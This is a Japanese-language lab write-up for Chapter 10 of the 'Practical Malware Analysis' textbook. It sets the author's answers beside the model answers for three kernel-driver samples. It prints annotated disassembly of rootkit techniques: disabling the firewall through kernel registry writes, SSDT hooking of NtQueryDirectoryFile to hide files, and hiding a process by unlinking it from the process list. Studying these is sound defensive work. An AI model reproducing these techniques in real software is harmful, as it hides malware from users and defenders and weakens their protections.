Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab10のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。
Lab 10-1
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab10-01.exe | 32ビット EXE | 795F093A536F118FB4C34FCEDFA42165 |
Lab10-01.sys | 32ビット ドライバー | 3D3D1A8145E3237183984FAED04E052E |
1. Does this program make any direct changes to the registry? (Use procmon to check.)
Lab10-01.exeをCFF explorerで眺めたところ、CreateServiceAやStartServiceAなどのWindowsサービスに関連するAPI関数がインポートされていた。ファイルをIDAで眺めてみたところ、Lab10-01
というWindowsサービスを作成してC:\Windows\System32\Lab10-01.sys
をカーネル・ドライバーとして登録することが判明した。
.text:00401020 56 push esi
.text:00401021 6A 00 push 0 ; lpPassword
.text:00401023 6A 00 push 0 ; lpServiceStartName
.text:00401025 6A 00 push 0 ; lpDependencies
.text:00401027 6A 00 push 0 ; lpdwTagId
.text:00401029 6A 00 push 0 ; lpLoadOrderGroup
.text:0040102B 68 3C 50 40 00 push offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-01.sys"
.text:00401030 6A 01 push 1 ; dwErrorControl
.text:00401032 6A 03 push 3 ; dwStartType
.text:00401034 6A 01 push 1 ; dwServiceType
.text:00401036 68 FF 01 0F 00 push 0F01FFh ; dwDesiredAccess
.text:0040103B 68 30 50 40 00 push offset ServiceName ; "Lab10-01"
.text:00401040 68 30 50 40 00 push offset ServiceName ; "Lab10-01"
.text:00401045 57 push edi ; hSCManager
.text:00401046 FF 15 08 40 40 00 call ds:CreateServiceA
Windowsサービスのインストールが成功するとHKLM\System\CurrentControlSet\services\<service name>
というレジストリキーが作成されるので、Lab10-01.exeの実行によってレジストリが編集される可能性は極めて高い。ただし、Lab10-01.exeにレジストリの編集に関連するAPI関数はインポートされていなかった。
続いてLab10-01.sysを眺めてみたところ、ntoskrnl.exeよりRtlCreateRegistryKeyおよびRtlWriteRegistryValueというレジストリ編集に関連する関数がインポートされていた。ファイルをIDAで眺めてみたところ、以下のレジストリを作成、編集することが判明した。
\Registry\Machine\SOFTWARE\Policies\Microsoft
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile
上記はWindowsのファイヤーウォールに関するレジストリである。
Lab10-01.sysをC:\Windows\System32にコピーしてLab10-01.exeを管理者権限で実行したところ、HKLM\System\CurrentControlSet\services\Lab10-01
というレジストリが作成された。
regshotでLab10-01.exeを実行する前後のレジストリの状態を比較してみたが、ファイヤーウォールに関するレジストリへの編集は認められなかった。
2. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?
Lab10-01.exeの0x401080にてControlServiceが呼び出されている。コマンド bp ControlService
を投入してブレークポイントをセットしデバッグしてみたがWinDbgに不慣れなこともあり、詳細な解析はできなかった。
3. What does this program do?
Lab10-01.exeを実行するとLab10-01
というWindowsサービスがインストールされ、C:\Windows\System32\Lab10-01.sys
がカーネル・ドライバーとして登録される。また静的解析より、Lab10-01.sys
はWindows ファイヤーウォールの設定を編集すると思われる。
Lab 10-2
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab10-02.exe | 32ビット EXE | 3F3A29CA2467D2D05FEAC9D233366F45 |
1. Does this program create any files? If so, what are they?
Lab10-02.exeはリソースセクションからペイロードを抽出してC:\Windows\System32\Mlwx486.sys
(MD5ハッシュ値 9E6042C14B4654CCE37A1A8CBDF2E30B
)として保存し、Windows サービス 486 WS Driver
にカーネル・ドライバーとして登録する。
.text:00401000 51 push ecx
.text:00401001 53 push ebx
.text:00401002 56 push esi
.text:00401003 57 push edi
.text:00401004 68 BC 60 40 00 push offset Type ; "FILE"
.text:00401009 6A 65 push 65h ; lpName
.text:0040100B 6A 00 push 0 ; hModule
.text:0040100D FF 15 20 50 40 00 call ds:FindResourceA
.text:00401013 8B F8 mov edi, eax
.text:00401015 57 push edi ; hResInfo
.text:00401016 6A 00 push 0 ; hModule
.text:00401018 FF 15 24 50 40 00 call ds:LoadResource
.text:0040101E 85 FF test edi, edi
.text:00401020 8B D8 mov ebx, eax
.text:00401022 0F 84 D7 00 00 00 jz loc_4010FF
---
.text:00401028 6A 00 push 0 ; hTemplateFile
.text:0040102A 68 80 00 00 00 push 80h ; dwFlagsAndAttributes
.text:0040102F 6A 02 push 2 ; dwCreationDisposition CREATE_ALWAYS
.text:00401031 6A 00 push 0 ; lpSecurityAttributes
.text:00401033 6A 00 push 0 ; dwShareMode
.text:00401035 68 00 00 00 C0 push 0C0000000h ; dwDesiredAccess
.text:0040103A 68 9C 60 40 00 push offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:0040103F FF 15 14 50 40 00 call ds:CreateFileA
.text:00401045 8B F0 mov esi, eax
.text:00401047 83 FE FF cmp esi, 0FFFFFFFFh
.text:0040104A 0F 84 AF 00 00 00 jz loc_4010FF
---
.text:00401050 8D 44 24 0C lea eax, [esp+10h+NumberOfBytesWritten]
.text:00401054 6A 00 push 0 ; lpOverlapped
.text:00401056 50 push eax ; lpNumberOfBytesWritten
.text:00401057 57 push edi ; hResInfo
.text:00401058 6A 00 push 0 ; hModule
.text:0040105A FF 15 18 50 40 00 call ds:SizeofResource
.text:00401060 50 push eax ; nNumberOfBytesToWrite
.text:00401061 53 push ebx ; lpBuffer payload embedded within resource section
.text:00401062 56 push esi ; hFile "C:\\Windows\\System32\\Mlwx486.sys"
.text:00401063 FF 15 1C 50 40 00 call ds:WriteFile
.text:00401069 56 push esi ; hObject
.text:0040106A FF 15 28 50 40 00 call ds:CloseHandle
.text:00401070 68 3F 00 0F 00 push 0F003Fh ; dwDesiredAccess
.text:00401075 6A 00 push 0 ; lpDatabaseName
.text:00401077 6A 00 push 0 ; lpMachineName
.text:00401079 FF 15 0C 50 40 00 call ds:OpenSCManagerA
.text:0040107F 85 C0 test eax, eax
.text:00401081 75 14 jnz short loc_401097
---
.text:00401097 loc_401097: ; lpPassword
.text:00401097 6A 00 push 0
.text:00401099 6A 00 push 0 ; lpServiceStartName
.text:0040109B 6A 00 push 0 ; lpDependencies
.text:0040109D 6A 00 push 0 ; lpdwTagId
.text:0040109F 6A 00 push 0 ; lpLoadOrderGroup
.text:004010A1 68 9C 60 40 00 push offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:004010A6 6A 01 push 1 ; dwErrorControl
.text:004010A8 6A 03 push 3 ; dwStartType
.text:004010AA 6A 01 push 1 ; dwServiceType SERVICE_KERNEL_DRIVER
.text:004010AC 68 FF 01 0F 00 push 0F01FFh ; dwDesiredAccess
.text:004010B1 68 68 60 40 00 push offset DisplayName ; "486 WS Driver"
.text:004010B6 68 68 60 40 00 push offset DisplayName ; "486 WS Driver"
.text:004010BB 50 push eax ; hSCManager
.text:004010BC FF 15 00 50 40 00 call ds:CreateServiceA
Lab10-02.exeを実行した結果。自分の解析環境ではC:\Windows\SysWOW64にMlwx486.sys
が作成された。
2. Does this program have a kernel component?
Mlwx486.sys
はntoskrnl.exe
よりNtQueryDirectoryFileやMmGetSystemRoutineAddressなどの関数をインポートしている。典型的なRootkitはNtQueryDirectoryFileをフックすることによりファイルを隠蔽する。MmGetSystemRoutineAddressはGetProcAddressと似た働きをし、主にカーネル・コードによって利用される。
3. What does this program do?
Lab10-02.exe
はリソースセクションからペイロードを抽出してC:\Windows\System32\Mlwx486.sys
(MD5ハッシュ値 9E6042C14B4654CCE37A1A8CBDF2E30B
)として保存し、Windows サービス 486 WS Driver
にカーネル・ドライバーとして登録する。Mlwx486.sys
はSystem Service Descriptor Table (SSDT)から NtQueryDirectoryFileをフックする。以下はコードの抜粋。
NtQueryDirectoryFileとSSDTのアドレスを取得する。
INIT:00010708 55 push ebp
INIT:00010709 8B EC mov ebp, esp
INIT:0001070B 83 EC 10 sub esp, 10h
INIT:0001070E 56 push esi
INIT:0001070F 8B 35 88 05 01 00 mov esi, ds:RtlInitUnicodeString
INIT:00010715 57 push edi
INIT:00010716 68 EE 07 01 00 push offset aN ; "N"
INIT:0001071B 8D 45 F8 lea eax, [ebp+var_8]
INIT:0001071E 50 push eax
INIT:0001071F FF D6 call esi ; RtlInitUnicodeString
INIT:00010721 68 BC 07 01 00 push offset aKeservicedescr ; "KeServiceDescriptorTable"
INIT:00010726 8D 45 F0 lea eax, [ebp+var_10]
INIT:00010729 50 push eax
INIT:0001072A FF D6 call esi ; RtlInitUnicodeString
INIT:0001072C 8B 35 84 05 01 00 mov esi, ds:MmGetSystemRoutineAddress
INIT:00010732 8D 45 F8 lea eax, [ebp+var_8]
INIT:00010735 50 push eax ; NtQueryDirectoryFile
INIT:00010736 FF D6 call esi ; MmGetSystemRoutineAddress
INIT:00010738 8B F8 mov edi, eax
INIT:0001073A 8D 45 F0 lea eax, [ebp+var_10]
INIT:0001073D 50 push eax ; KeServiceDescriptorTable
INIT:0001073E FF D6 call esi ; MmGetSystemRoutineAddress
INIT:00010740 8B 00 mov eax, [eax]
INIT:00010742 33 C9 xor ecx, ecx
SSDTからNtQueryDirectoryFileを見つけるためのループ処理。
INIT:00010744 loc_10744: ; EAX contains SSDT. EDI contains NtQueryDirectoryFile.
INIT:00010744 83 C0 04 add eax, 4 ; This loop is iterates through SSDT until it finds NtQueryDirectoryFile
INIT:00010747 39 38 cmp [eax], edi
INIT:00010749 74 09 jz short loc_10754
---
INIT:0001074B 41 inc ecx
INIT:0001074C 81 F9 1C 01 00 00 cmp ecx, 11Ch
INIT:00010752 7C F0 jl short loc_10744
上記のループ処理で見つかったNtQueryDirectoryFileをフックする。NtQueryDirectoryFileがフックされるとアドレス 0x010486に記述されたコードが実行される。
INIT:00010754 loc_10754:
INIT:00010754 89 3D 8C 06 01 00 mov dword_1068C, edi
INIT:0001075A A3 90 06 01 00 mov dword_10690, eax
INIT:0001075F 5F pop edi
INIT:00010760 C7 00 86 04 01 00 mov dword ptr [eax], offset Hook_10486
INIT:00010766 33 C0 xor eax, eax
INIT:00010768 5E pop esi
INIT:00010769 C9 leave
INIT:0001076A C2 08 00 retn 8
以下はフック処理 (アドレス 0x010486) のコードの抜粋。NtQueryDirectoryFileに渡されたファイルハンドルがMlwx + 4文字
と一致するか確認する。一致した場合、Mlwx + 4文字
をシステムから隠蔽する。
.text:000104CA loc_104CA: ; byte length
.text:000104CA 6A 08 push 8
.text:000104CC 68 1A 05 01 00 push offset word_1051A ; Mlwx
.text:000104D1 8D 46 5E lea eax, [esi+5Eh]
.text:000104D4 50 push eax
.text:000104D5 32 DB xor bl, bl
.text:000104D7 FF 15 90 05 01 00 call ds:RtlCompareMemory
.text:000104DD 83 F8 08 cmp eax, 8
.text:000104E0 75 12 jnz short loc_104F4
Lab 10-3
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab10-03.exe | 32ビット EXE | F72D773F13CEB6B842A9D29C56F8880F |
Lab10-03.sys | 32ビット ドライバー | CF91A08F3D7A2875D6120C16B7C55398 |
1. What does this program do?
まず、Lab10-03.exeを解析した。
Process Helper
というWindowsサービスをインストールしてファイル C:\Windows\System32\Lab10-03.sys
をカーネル・ドライバーとして登録する。
.text:0040101B push 0 ; lpPassword
.text:0040101D push 0 ; lpServiceStartName
.text:0040101F push 0 ; lpDependencies
.text:00401021 push 0 ; lpdwTagId
.text:00401023 push 0 ; lpLoadOrderGroup
.text:00401025 push offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-03.sys"
.text:0040102A push 1 ; dwErrorControl
.text:0040102C push 3 ; dwStartType
.text:0040102E push 1 ; dwServiceType SERVICE_KERNEL_DRIVER
.text:00401030 push 0F01FFh ; dwDesiredAccess
.text:00401035 push offset DisplayName ; "Process Helper"
.text:0040103A push offset DisplayName ; "Process Helper"
.text:0040103F push eax ; hSCManager
.text:00401040 call ds:CreateServiceA
\\.\ProcHelper
というデバイス・ファイルを作成して操作する。
.text:0040105E push 0 ; hTemplateFile
.text:00401060 push 80h ; dwFlagsAndAttributes
.text:00401065 push 2 ; dwCreationDisposition CREATE_ALWAYS
.text:00401067 push 0 ; lpSecurityAttributes
.text:00401069 push 0 ; dwShareMode
.text:0040106B push 0C0000000h ; dwDesiredAccess
.text:00401070 push offset FileName ; "\\\\.\\ProcHelper"
.text:00401075 call ds:CreateFileA
.text:0040107B cmp eax, 0FFFFFFFFh
.text:0040107E jnz short loc_40108C
---
.text:0040108C lea ecx, [esp+2Ch+BytesReturned]
.text:00401090 push 0 ; lpOverlapped
.text:00401092 push ecx ; lpBytesReturned
.text:00401093 push 0 ; nOutBufferSize
.text:00401095 push 0 ; lpOutBuffer
.text:00401097 push 0 ; nInBufferSize
.text:00401099 push 0 ; lpInBuffer
.text:0040109B push 0ABCDEF01h ; dwIoControlCode
.text:004010A0 push eax ; hDevice
.text:004010A1 call ds:DeviceIoControl
COM オブジェクトを作成して、Internet ExplorerでURL http://www.malwareanalysisbook.com/ad.html
をブラウズさせる。
.text:004010B3 lea edx, [esp+2Ch+ppv]
.text:004010B7 push edi
.text:004010B8 push edx ; ppv
.text:004010B9 push offset riid ; riid D30C1661-CDAF-11D0-8A3E-00C04FC9E26E (IWebBrowser2)
.text:004010BE push 4 ; dwClsContext
.text:004010C0 push 0 ; pUnkOuter
.text:004010C2 push offset rclsid ; rclsid 0002DF01-0000-0000-C000-000000000046 (Internet Explorer)
.text:004010C7 call ds:CoCreateInstance
.text:004010CD mov eax, [esp+30h+ppv]
.text:004010D1 test eax, eax
.text:004010D3 jz short loc_40112A
---
.text:004010D5 lea eax, [esp+30h+pvarg]
.text:004010D9 push eax ; pvarg
.text:004010DA call ds:VariantInit
.text:004010E0 push offset psz ; "http://www.malwareanalysisbook.com/ad.h"...
.text:004010E5 mov [esp+34h+var_10], 3
.text:004010EC mov [esp+34h+var_8], 1
.text:004010F4 call ds:SysAllocString
.text:004010FA mov edi, ds:Sleep
.text:00401100 mov esi, eax
---
.text:00401102 lea edx, [esp+30h+pvarg]
.text:00401106 mov eax, [esp+30h+ppv]
.text:0040110A push edx
.text:0040110B lea edx, [esp+34h+pvarg]
.text:0040110F mov ecx, [eax]
.text:00401111 push edx
.text:00401112 lea edx, [esp+38h+pvarg]
.text:00401116 push edx
.text:00401117 lea edx, [esp+3Ch+var_10]
.text:0040111B push edx
.text:0040111C push esi ; 'http://www.malwareanalysisbook.com/ad.html'
.text:0040111D push eax
.text:0040111E call dword ptr [ecx+2Ch] ; call COM object
続いてLab10-03.sys。
\Device\ProcHelper
というデバイス・オブジェクトを作成する。
INIT:0001072B 50 push eax
INIT:0001072C 6A 00 push 0
INIT:0001072E 68 00 01 00 00 push 100h
INIT:00010733 6A 22 push 22h ; FILE_DEVICE_UNKNOWN
INIT:00010735 8D 45 F4 lea eax, [ebp+var_C]
INIT:00010738 50 push eax ; "\\Device\\ProcHelper"
INIT:00010739 6A 00 push 0
INIT:0001073B 56 push esi ; argument
INIT:0001073C FF 15 98 04 01 00 call ds:IoCreateDevice
デバイス・オブジェクト \Device\ProcHelper
のシンボリックリンク \DosDevices\ProcHelper
を作成する。
INIT:00010746 B8 06 06 01 00 mov eax, offset sub_10606
INIT:0001074B 89 46 38 mov [esi+38h], eax
INIT:0001074E 89 46 40 mov [esi+40h], eax
INIT:00010751 68 DE 07 01 00 push offset word_107DE ; \DosDevices\ProcHelper
INIT:00010756 8D 45 EC lea eax, [ebp+var_14]
INIT:00010759 50 push eax
INIT:0001075A C7 46 70 66 06 01 00 mov dword ptr [esi+70h], offset sub_10666 ; call IoGetCurrentProcess and IofCompleteRequest
INIT:00010761 C7 46 34 2A 06 01 00 mov dword ptr [esi+34h], offset sub_1062A ; deletes \DosDevices\ProcHelper
INIT:00010768 FF D7 call edi ; RtlInitUnicodeString
INIT:0001076A 8D 45 F4 lea eax, [ebp+var_C]
INIT:0001076D 50 push eax ; "\\Device\\ProcHelper"
INIT:0001076E 8D 45 EC lea eax, [ebp+var_14]
INIT:00010771 50 push eax ; \DosDevices\ProcHelper
INIT:00010772 FF 15 94 04 01 00 call ds:IoCreateSymbolicLink
2. Once this program is running, how do you stop it?
ファイルを実行しても期待通りの挙動を見せなかったため、割愛。
3. What does the kernel component do?
\Device\ProcHelper
というデバイス・オブジェクトを作成し、さらに\Device\ProcHelper
のシンボリックリンク \DosDevices\ProcHelper
を作成する。
模範解答
Lab 10-1
1. If you run procmon to monitor this program, you will see that the only call to write the registry is to RegSetValue for the value HKLM\Microsoft\Cryptography\RNG\Seed. Some indirect changes are made by the calls to CreateServiceA, but this program also makes direct changes to the registry from the kernel that go undetected by procmon.
2. To set a breakpoint to see what happens in the kernel, you must open the executable within an instance of WinDbg running in the virtual machine, while also debugging the kernel with another instance of WinDb in the host machine. When Lab10-01.exe is stopped in the virtual machine, you first use the !drvobj command to get a handle to the driver object, which contains a pointer to the unload function. Next, you can set a breakpoint on the unload function within the driver. The breakpoint will be triggered when you restart Lab10-01.exe
3. This program creates a service to load a driver. The driver code then creates (or modifies if they exist) the registry keys \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile and \Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile. Setting these registry keys disables the Windows XP firewall.
Lab 10-2
1. The program creates the file C:\Windows\System32\Mlwx486.sys. You can use procmon or another dynamic monitoring tool to see the file being created, but you can not see the file on disk because it is hidden.
2. The program has a kernel component. It is stored in the file's resource section, and then written to disk and loaded into the kernel as a service.
3. The program is a rootkit designed to hide files. It uses SSDT hooking to overwrite the entry to NtQueryDirectoryFile, which it uses to prevent the display of any files beginning with Mlwx (case-sensitive) in directory listings.
Lab10-3
1. The user-space program loads the driver and then pops up an advertisement every 30 seconds. The driver hides the process by unlinking the Process Environment Block (PEB) from the system's linked list.
2. Once this program is running, there is no easy way to stop it without rebooting.
3. The kernel component responds to any DeviceIoControl request by unlinking the process that made the request from the linked list of processes in order to hide the process from the user.
答え合わせ
Lab 10-1
問3にて 「Lab10-01.sys
はWindows ファイヤーウォールの設定を編集すると思われる。」と解答したが、補足するとEnableFirewallの値を0にセットすることでWindows XPのファイヤーウォールを無効にする。
.text:00010495 33 FF xor edi, edi ; zeros edi
.text:00010497 68 BC 06 01 00 push offset aRegistryMachin ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:0001049C 57 push edi
.text:0001049D 89 7D FC mov [ebp+var_4], edi ; copying zero to var_4
.text:000104A0 FF D6 call esi ; RtlCreateRegistryKey
.text:000104A2 68 40 06 01 00 push offset aRegistryMachin_0 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104A7 57 push edi
.text:000104A8 FF D6 call esi ; RtlCreateRegistryKey
.text:000104AA 68 A8 05 01 00 push offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104AF 57 push edi
.text:000104B0 FF D6 call esi ; RtlCreateRegistryKey
.text:000104B2 BB 0C 05 01 00 mov ebx, offset aRegistryMachin_2 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104B7 53 push ebx
.text:000104B8 57 push edi
.text:000104B9 FF D6 call esi ; RtlCreateRegistryKey
.text:000104BB 8B 35 88 07 01 00 mov esi, ds:RtlWriteRegistryValue
.text:000104C1 6A 04 push 4
.text:000104C3 8D 45 FC lea eax, [ebp+var_4] ; copying zer to eax
.text:000104C6 50 push eax ; 0
.text:000104C7 6A 04 push 4
.text:000104C9 BF EE 04 01 00 mov edi, offset word_104EE ; EnableFirewall
.text:000104CE 57 push edi
.text:000104CF 68 A8 05 01 00 push offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104D4 6A 00 push 0
.text:000104D6 FF D6 call esi ; RtlWriteRegistryValue
.text:000104D8 6A 04 push 4
.text:000104DA 8D 45 FC lea eax, [ebp+var_4]
.text:000104DD 50 push eax
.text:000104DE 6A 04 push 4
.text:000104E0 57 push edi ; EnableFirewall
.text:000104E1 53 push ebx
.text:000104E2 6A 00 push 0
.text:000104E4 FF D6 call esi ; RtlWriteRegistryValue
Lab 10-3
問1にて、「COM オブジェクトを作成して、Internet ExplorerでURL http://www.malwareanalysisbook.com/ad.html
をブラウズさせる。」と解答したが補足するとブラウジングは30秒ごとに行われる。
.text:00401102 loc_401102:
.text:00401102 lea edx, [esp+30h+pvarg]
.text:00401106 mov eax, [esp+30h+ppv]
.text:0040110A push edx
.text:0040110B lea edx, [esp+34h+pvarg]
.text:0040110F mov ecx, [eax]
.text:00401111 push edx
.text:00401112 lea edx, [esp+38h+pvarg]
.text:00401116 push edx
.text:00401117 lea edx, [esp+3Ch+var_10]
.text:0040111B push edx
.text:0040111C push esi ; 'http://www.malwareanalysisbook.com/ad.html'
.text:0040111D push eax
.text:0040111E call dword ptr [ecx+2Ch] ; call COM object
.text:00401121 push 30000 ; dwMilliseconds
.text:00401126 call edi ; Sleep
.text:00401128 jmp short loc_401102
問3について、Lab10-03.exe及びLab10-03.sysはLIST_ENTRYのFlink (次のプロセスへのリンク)とBlink (前のプロセスへのリンク) を書き換えることによって自身 (Lab10-03.exe) をプロセス一覧から隠蔽する。
PAGE:00010666 8B FF mov edi, edi
PAGE:00010668 55 push ebp
PAGE:00010669 8B EC mov ebp, esp
PAGE:0001066B FF 15 90 04 01 00 call ds:IoGetCurrentProcess
PAGE:00010671 8B 88 8C 00 00 00 mov ecx, [eax+8Ch]
PAGE:00010677 05 88 00 00 00 add eax, 88h ; obtains a pointer to the next entry
PAGE:0001067C 8B 10 mov edx, [eax] ; obtains a pointer to the previous entry
PAGE:0001067E 89 11 mov [ecx], edx ; overwrites the Blink pointer of the next entry so that it points to the previous entry
PAGE:00010680 8B 08 mov ecx, [eax] ; obtains a pointer to the previous entry
PAGE:00010682 8B 40 04 mov eax, [eax+4] ; obtains a pointer to the next entry
PAGE:00010685 89 41 04 mov [ecx+4], eax ; overwrites the Flink pointer of the previous entry in the list to skip the current entry
PAGE:00010688 8B 4D 0C mov ecx, [ebp+arg_4]
PAGE:0001068B 83 61 18 00 and dword ptr [ecx+18h], 0
PAGE:0001068F 83 61 1C 00 and dword ptr [ecx+1Ch], 0
PAGE:00010693 32 D2 xor dl, dl
PAGE:00010695 FF 15 80 04 01 00 call ds:IofCompleteRequest
PAGE:0001069B 33 C0 xor eax, eax
PAGE:0001069D 5D pop ebp
PAGE:0001069E C2 08 00 retn 8
PAGE:0001069E sub_10666 endp